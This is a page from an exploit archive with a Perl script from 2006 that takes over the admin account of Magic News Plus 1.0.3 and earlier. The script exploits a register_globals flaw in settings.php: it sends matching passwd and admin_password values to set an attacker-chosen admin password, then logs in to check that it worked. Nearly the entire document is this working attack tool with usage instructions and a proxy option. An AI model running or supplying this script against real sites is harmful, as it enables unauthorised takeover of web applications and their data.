[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Magic News Plus <= 1.0.3 Admin Pass Change Exploit
# Published : 2006-01-09
# Author : cijfer
# Previous Title : MiniNuke <= 1.8.2 (news.asp hid) SQL Injection Exploit
# Next Title : FlatCMS <= 1.01 (file_editor.php) Remote Command Execution Exploit
#!/usr/bin/perl
#
# Magic News Plus <=1.0.3 Admin Pass Change Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem
# is (line 108 of 426):
#
# ...
# [1] elseif ($action == "change")
# ...
# [2] if ($passwd != $admin_password)
# ...
# [3] if ($new_passwd != $confirm_passwd)
# ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
#
# $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $
use LWP::UserAgent;
use Getopt::Long;
use Term::ANSIColor;
$port = 80;
$new = "cijfer";
$res = GetOptions("host=s" => $host, "dir=s" => $dir, "port=i" => $port, "tunnel=s" => $tunnel, "new=s" => $new);
&usage unless $host and $dir;
&exploit;
sub usage
{
print "Magic News Plus <=1.0.3 Admin Pass Change Exploitn";
print "Usage: $0 -hdn [OPTION]...nn";
print " -h --hostthostname or ip of targetn";
print " -d --dirtdirectory without ending slashn";
print " -p --porttport number (default: 80)n";
print " -t --tunneltprovide an HTTP proxy (ex. 0.0.0.0:8080)n";
print " -n --newtnew admin password you want (default: cijfer)nn";
exit;
}
sub try
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$path="http://".$host.$dir."/";
$out=$cij->get($path."index.php?login=admin&password=".$new."&action=login");
if($out->is_success)
{
if($out->content =~ /Wrong/)
{
print color("red"), ":(n", color("reset");
exit;
}
}
}
sub exploit
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$string = "settings.php?action=change";
$string .= "&passwd=cijfer";
$string .= "&admin_password=cijfer";
$string .= "&new_passwd=";
$string .= $new;
$string .= "&confirm_passwd=";
$string .= $new;
$path="http://".$host.$dir."/";
$out=$cij->get($path.$string);
if($out->is_success)
{
print "trying username admin and password ".$new."...n";
&try;
print "user: admin, pass: ".$new;
print color("green"), " :)) ", color("reset");
print "-- http://".$host.$dir."n";
}
else
{
print color("red"), ":(n", color("reset");
exit;
}
}
# www.Syue.com [2006-01-09]